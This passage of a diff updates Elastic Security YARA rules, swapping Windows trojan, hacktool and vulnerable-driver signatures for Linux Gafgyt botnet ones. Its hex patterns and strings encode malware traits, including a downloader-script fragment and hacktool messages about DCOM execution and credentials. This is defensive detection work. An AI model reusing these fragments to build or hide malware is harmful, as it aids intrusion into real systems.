-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Stealc.yar#L29-L50"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0d1c07c84c54348db1637e21260dbed09bd6b7e675ef58e003d0fe8f017fd2c8"
-		logic_hash = "b79ac3e65cd7d2819d6a49f59ec661241c97174f66a7c4ada91932f10fc43583"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L435-L453"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "7ba74e3cb0d633de0e8dbe6cfc49d4fc77dd0c02a5f1867cc4a1f1d575def97d"
+		logic_hash = "106ee9cd9c368674ae08b835f54dbb6918b553e3097aae9b0de88f55420f046b"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9eeb13fededae39b8a531fa5d07eaf839b56a1c828ecd11322c604962e8b1aec"
+		fingerprint = "6119a43aa5c9f61249083290293f15696b54b012cdf92553fd49736d40c433f9"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$seq_1 = { 8B C6 C1 E8 02 33 C6 D1 E8 33 C6 C1 E8 02 33 C6 83 E0 01 A3 D4 35 61 00 C1 E0 0F 66 D1 E9 66 0B C8 }
-		$seq_2 = { FF D3 8B 4D ?? E8 [4] 6A ?? 33 D2 5F 8B C8 F7 F7 85 D2 74 ?? }
-		$seq_3 = { 33 D2 8B F8 59 F7 F1 8B C7 3B D3 76 04 2B C2 03 C1 }
-		$seq_4 = { 6A 7C 58 66 89 45 FC 8D 45 F0 50 8D 45 FC 50 FF 75 08 C7 45 F8 01 }
+		$a = { 49 56 04 0B 1E 46 1E B0 EB 10 18 38 38 D7 80 4D 2D 03 29 62 }
 
 	condition:
-		2 of ($seq*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Stealc_5D3F297C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_30444846 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Stealc (Windows.Trojan.Stealc)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "5d3f297c-b812-401a-8671-2e00369cd6f2"
-		date = "2024-03-05"
-		modified = "2024-06-13"
+		id = "30444846-439f-41e1-b0b4-c12da774a228"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Stealc.yar#L52-L70"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "885c8cd8f7ad93f0fd43ba4fb7f14d94dfdee3d223715da34a6e2fbb4d25b9f4"
-		logic_hash = "556d3bc9374a5ec23faa410900dfc94b5534434c9733165355d281976444a42b"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L455-L473"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "c84b81d79d437bb9b8a6bad3646aef646f2a8e1f1554501139648d2f9de561da"
+		logic_hash = "26bc95efb2ea69fece52cf3ab38ce35891c77fc0dac3e26e5580ba3a88e112e9"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "ff90bfcb28bb3164fb11da5f35f289af679805f7e4047e48d97ae89e5b820dcd"
-		severity = 50
+		fingerprint = "3c74db508de7c8c1c190d5569e0a2c2b806f72045e7b74d44bfbaed20ecb956b"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = { 83 EC 08 C7 45 F8 00 00 00 00 83 7D 08 00 74 4A 83 7D 0C 00 74 44 8B 45 0C 83 C0 01 50 6A 40 ?? ?? ?? ?? ?? ?? 89 45 F8 83 7D F8 00 74 2C C7 45 FC 00 00 00 00 EB 09 8B 4D FC 83 C1 01 }
+		$a = { 64 20 2B 78 20 74 66 74 70 31 2E 73 68 3B 20 73 68 20 74 66 74 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Hacktool_Sharpmove_05E28928 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_Ea92Cca8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Sharpmove (Windows.Hacktool.SharpMove)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "05e28928-6109-4afe-bd86-908d354ddd80"
-		date = "2022-11-20"
-		modified = "2023-01-11"
+		id = "ea92cca8-bba7-4a1c-9b88-a2d051ad0021"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_SharpMove.yar#L1-L23"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "051f60f9f4665b96f764810defe9525ae7b4f9898249b83a23094cee63fa0c3b"
-		logic_hash = "021a56dd47d9929e71b82b00d24aa8969a31945681dcf414c69b8d175fb0b6eb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L475-L492"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "5a9598b3fd37b15444063403a481df1a43894ddcbbd343961e1c770cb74180c9"
 		score = 75
 		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "634efb2dedbb181a31ea41ff34d1d0810d1ab4823c8611737d68cb56601a052d"
+		fingerprint = "aa4aee9f3d6bedd8234eaf8778895a0f5d71c42b21f2a428f01f121e85704e8e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$guid = "8BF82BBE-909C-4777-A2FC-EA7C070FF43E" ascii wide nocase
-		$print_str0 = "[X]  Failed to connecto to WMI: {0}" ascii wide fullword
-		$print_str1 = "[+] Executing DCOM ShellBrowserWindow   : {0}" ascii wide fullword
-		$print_str2 = "[+]  User credentials  : {0}" ascii wide fullword
-		$print_str3 = "[+] Executing DCOM ExcelDDE   : {0}" ascii wide fullword
+		$a = { 53 65 6C 66 20 52 65 70 20 46 75 63 6B 69 6E 67 20 4E 65 54 69 53 20 61 6E 64 }
 
 	condition:
-		$guid or all of ($print_str*)
+		all of them
 }
-rule ELASTIC_Windows_Trojan_Mylobot_A895174A : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_D4227Dbf : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Mylobot (Windows.Trojan.MyloBot)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "a895174a-0395-4ccb-b681-e8111a817a5c"
-		date = "2024-05-15"
-		modified = "2024-06-12"
+		id = "d4227dbf-6ab4-4637-a6ba-0e604acaafb4"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_MyloBot.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "33831d9ad64d0f52f507f08ef81607aafa6ced58a189969af6cf57c659c982d2"
-		logic_hash = "16f2d8eeb6c85944030a33bd250e4e8b98985a6c877a0ec3ad5a6037e7c00159"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L494-L512"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "01da73e0d425b4d97c5ad75c49657f95618b394d09bd6be644eb968a3b894961"
+		logic_hash = "7953b8d08834315a6ca2c0c8ac1ec7b74a6ffcb71cec4fc053c24e1b59232c0c"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dfa1e47260c0e07fea3b2b61157de71f412807b9eec19b14082da7d6a95d6099"
+		fingerprint = "58c4b1d4d167876b64cfa10f609911a80284180e4db093917fea16fae8ccd4e3"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a1 = "%s\\%s.lnk" wide fullword
-		$a2 = "%s\\%s.exe" wide fullword
-		$a3 = "%s\\%s\\%s.exe" wide fullword
-		$a4 = "HTTP/1.0 502" ascii fullword
-		$a5 = "/c \"%ws '%ws%s'\"" ascii fullword
-		$a6 = ">> %ws %ws %ws" ascii fullword
-		$a7 = "%s\\DefaultIcon" ascii fullword
+		$a = { FF 48 81 EC D0 00 00 00 48 8D 84 24 E0 00 00 00 48 89 54 24 30 C7 04 24 18 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Getshell_98D002Bf : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_09C3070E : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Getshell (Linux.Trojan.Getshell)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "98d002bf-63b7-4d11-98ef-c3127e68d59c"
+		id = "09c3070e-4b71-45a0-aa62-0cc6e496644a"
 		date = "2021-01-12"
 		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Getshell.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "97b7650ab083f7ba23417e6d5d9c1d133b9158e2c10427d1f1e50dfe6c0e7541"
-		logic_hash = "358575f55910b060bde94bbc55daa9650a43cf1470b77d1842ddcaa8b299700a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L514-L532"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "275cbd5d3b3d8c521649b95122d90d1ca9b7ae1958b721bdc158aaa2d31d49df"
+		logic_hash = "f8f8e8883cf1e51fbaef81b8334ac5fa45a54682d285282da62c80e4aa50a48d"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "b7bfec0a3cfc05b87fefac6b10673491b611400edacf9519cbcc1a71842e9fa3"
+		fingerprint = "84fad96b60b297736c149e14de12671ff778bff427ab7684df2c541a6f6d7e7d"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -58902,294 +63072,287 @@ rule ELASTIC_Linux_Trojan_Getshell_98D002Bf : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { B2 6A B0 03 CD 80 85 C0 78 02 FF E1 B8 01 00 00 00 BB 01 00 }
+		$a = { 48 C1 E8 06 48 89 C6 48 8B 94 C5 50 FF FF FF 8B 8D 2C FF FF FF 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Getshell_213D4D69 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_Fa19B8Fc : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Getshell (Linux.Trojan.Getshell)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "213d4d69-5660-468d-a98c-ff3eef604b1e"
-		date = "2021-06-28"
+		id = "fa19b8fc-6035-4415-842f-4993411ab43e"
+		date = "2021-01-12"
 		modified = "2021-09-16"
-		reference = "05fc4dcce9e9e1e627ebf051a190bd1f73bc83d876c78c6b3d86fc97b0dfd8e8"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Getshell.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "2075def88b31ac32e44c270ab20273c8b91f37e25a837c0353f76bcf431cdcb3"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L534-L552"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a7cfc16ec33ec633cbdcbff3c4cefeed84d7cbe9ca1f4e2a3b3e43d39291cd6b"
+		logic_hash = "cddf3b9948b9bc685ff7d4c00377d0f80861169707777022297e549bd166dbf0"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "60e385e4c5eb189785bc14d39bf8a22c179e4be861ce3453fbcf4d367fc87c90"
-		severity = "100"
+		fingerprint = "4f213d5d1b4a0b832ed7a6fac91bef7c29117259b775b85409e9e4c8aec2ad10"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { EC 01 00 00 00 EB 3C 8B 45 EC 48 98 48 C1 E0 03 48 03 45 D0 48 }
+		$a = { 02 63 10 01 0F 4B 85 14 36 B0 60 53 03 4F 0D B2 05 76 02 B7 00 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Getshell_3Cf5480B : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_Eaa9A668 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Getshell (Linux.Trojan.Getshell)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "3cf5480b-bb21-4a6e-a078-4b145d22c79f"
-		date = "2021-06-28"
+		id = "eaa9a668-e3b9-4657-81bf-1c6456e2053a"
+		date = "2021-01-12"
 		modified = "2021-09-16"
-		reference = "0e41c0d6286fb7cd3288892286548eaebf67c16f1a50a69924f39127eb73ff38"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Getshell.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "87b0db74e81d4f236b11f51a72fba2e4263c988402292b2182d19293858c6126"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L554-L572"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "409c55110d392aed1a9ec98a6598fb8da86ab415534c8754aa48e3949e7c4b62"
+		logic_hash = "05e9047342a9d081a09f8514f0ec32d72bc43a286035014ada90b0243f92cfa8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "3ef0817445c54994d5a6792ec0e6c93f8a51689030b368eb482f5ffab4761dd2"
-		severity = "100"
+		fingerprint = "bee2744457164e5747575a101026c7862474154d82f52151ac0d77fb278d9405"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { B2 24 B0 03 CD 80 85 C0 78 02 FF E1 B8 01 00 00 00 BB 01 00 }
+		$a = { 45 C0 0F B6 00 3C 2F 76 0B 48 8B 45 C0 0F B6 00 3C 39 76 C7 48 8B }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Getshell_8A79B859 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Gafgyt_46Eec778 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Getshell (Linux.Trojan.Getshell)"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "8a79b859-654c-4082-8cfc-61a143671457"
-		date = "2021-06-28"
+		id = "46eec778-7342-4ef7-adac-35bc0cdb9867"
+		date = "2021-01-12"
 		modified = "2021-09-16"
-		reference = "1154ba394176730e51c7c7094ff3274e9f68aaa2ed323040a94e1c6f7fb976a2"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Getshell.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		logic_hash = "2aa3914ec4cc04e5daa2da1460410b4f0e5e7a37c5a2eae5a02ff5f55382f1fe"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L574-L592"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "9526277255a8d632355bfe54d53154c9c54a4ab75e3ba24333c73ad0ed7cadb1"
+		logic_hash = "08e77a31005e14a06197857301e22d20334c1f2ef7fc06a4208643438377f4c4"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5a95d1df94791c8484d783da975bec984fb11653d1f81f6397efd734a042272b"
-		severity = "100"
+		fingerprint = "2602371a40171870b1cf024f262e95a2853de53de39c3a6cd3de811e81dd3518"
+		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 0A 00 89 E1 6A 1C 51 56 89 E1 43 6A 66 58 CD 80 B0 66 B3 04 }
+		$a = { C0 01 45 F8 48 83 45 E8 02 83 6D C8 02 83 7D C8 01 7F E4 83 7D }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Rtkio_13B3C88B : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_F51C5Ac3 : FILE MEMORY
 {
 	meta:
-		description = "Name: rtkio.sys"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "13b3c88b-daa7-4402-ad31-6fc7d4064087"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "f51c5ac3-ade9-4d01-b578-3473a2b116db"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Rtkio.yar#L1-L20"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "478917514be37b32d5ccf76e4009f6f952f39f5553953544f1b0688befd95e82"
-		logic_hash = "1e37650292884e28dcc51c42bc1b1d1e8efc13b0727f7865ff1dc7b8e1a72380"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L594-L612"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "899c072730590003b98278bdda21c15ecaa2f49ad51e417ed59e88caf054a72d"
+		logic_hash = "e82b5ddb760d5bdcd146e1de12ec34c4764e668543420765146e22dee6f5732b"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "3788e6a7a759796a2675116e4d291324f97114773cf53345f15796566266f702"
-		threat_name = "Windows.VulnDriver.Rtkio"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "34f254afdf94b1eb29bae4eb8e3864ea49e918a5dbe6e4c9d06a4292c104a792"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 74 00 6B 00 69 00 6F 00 2E 00 73 00 79 00 73 00 00 00 }
+		$a = { 74 2A 8B 45 0C 0F B6 00 84 C0 74 17 8B 45 0C 40 89 44 24 04 8B }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Rtkio_D595781E : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_71E487Ea : FILE MEMORY
 {
 	meta:
-		description = "Name: rtkio64.sys"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "d595781e-67c1-47bf-a7ea-bb4a9ba33879"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "71e487ea-a592-469c-a03e-0c64d2549e74"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Rtkio.yar#L22-L41"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4ed2d2c1b00e87b926fb58b4ea43d2db35e5912975f4400aa7bd9f8c239d08b7"
-		logic_hash = "289eb17025d989cc74e109b1c03378e9760817a84f1a759153ff6ff6b6401e6d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L614-L632"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b8d044f2de21d20c7e4b43a2baf5d8cdb97fba95c3b99816848c0f214515295b"
+		logic_hash = "3de9e0e3334e9e6e5906886f95ff8ce3596f85772dc25021fb0ee148281cf81c"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "efe0871703d5c146764c4a7ac9c80ae4e635dc6dd0e718e6ddc4c39b18ca9fdd"
-		threat_name = "Windows.VulnDriver.Rtkio"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "8df69968ddfec5821500949015192b6cdbc188c74f785a272effd7bc9707f661"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 74 00 6B 00 69 00 6F 00 36 00 34 00 2E 00 73 00 79 00 73 00 20 00 00 00 }
+		$a = { E0 8B 45 D8 8B 04 D0 8D 50 01 83 EC 0C 8D 85 40 FF FF FF 50 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Rtkio_B09Af431 : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_6620Ec67 : FILE MEMORY
 {
 	meta:
-		description = "Name: rtkiow8x64.sys"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "b09af431-307b-40e2-bac5-5865c1ad54c8"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "6620ec67-8f12-435b-963c-b44a02f43ef1"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Rtkio.yar#L43-L62"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b205835b818d8a50903cf76936fcf8160060762725bd74a523320cfbd091c038"
-		logic_hash = "916a6e63dc4c7ee0bfdf4a455ee467a1d03c1042db60806511aa7cbf3b096190"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L634-L652"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b91eb196605c155c98f824abf8afe122f113d1fed254074117652f93d0c9d6b2"
+		logic_hash = "2df2c8cdc2cb545f916159d44a800708b55a2993cd54a4dcf920a6a8dc6361e7"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "e62a497acc1ee04510aa42ca96c5265e16b3be665f99e7dfc09ecc38055aca5b"
-		threat_name = "Windows.VulnDriver.Rtkio"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "9d68db5b3779bb5abe078f9e36dd9a09d4d3ad9274a3a50bdfa0e444a7e46623"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$original_file_name = { 4F 00 72 00 69 00 67 00 69 00 6E 00 61 00 6C 00 46 00 69 00 6C 00 65 00 6E 00 61 00 6D 00 65 00 00 00 72 00 74 00 6B 00 69 00 6F 00 77 00 38 00 78 00 36 00 34 00 2E 00 73 00 79 00 73 00 00 00 }
+		$a = { AF 93 64 1A D8 0B 48 93 64 0B 48 A3 64 11 D1 0B 41 05 E4 48 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $original_file_name
+		all of them
 }
-rule ELASTIC_Windows_Vulndriver_Rtkio_5693E967 : FILE
+rule ELASTIC_Linux_Trojan_Gafgyt_D996D335 : FILE MEMORY
 {
 	meta:
-		description = "Name: rtkiow10x64.sys"
+		description = "Detects Linux Trojan Gafgyt (Linux.Trojan.Gafgyt)"
 		author = "Elastic Security"
-		id = "5693e967-dbe4-457c-8b0c-404774871ac0"
-		date = "2022-04-07"
-		modified = "2022-04-07"
+		id = "d996d335-e049-4052-bf36-6cd07c911a8b"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_VulnDriver_Rtkio.yar#L64-L83"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "ab8f2217e59319b88080e052782e559a706fa4fb7b8b708f709ff3617124da89"
-		logic_hash = "4cbc7a52de7f610cdb12bf40a9099bcfae818dcb5e4119a8c34499433aeebd7e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Gafgyt.yar#L654-L672"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "b511eacd4b44744c8cf82d1b4a9bc6f1022fe6be7c5d17356b171f727ddc6eda"
+		logic_hash = "212c75ab61eac8b3ed2049966628dfc81ae5a620b4a4b38aaa0696d594910dea"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "4de76b2d42b523c4bfefeee8905e8f431168cb59e18049563f9942e97c276e46"
-		threat_name = "Windows.VulnDriver.Rtkio"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "e9ccb8412f32187c309b0e9afcc3a6da21ad2f1ffa251c27f9f720ccb284e3ac"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
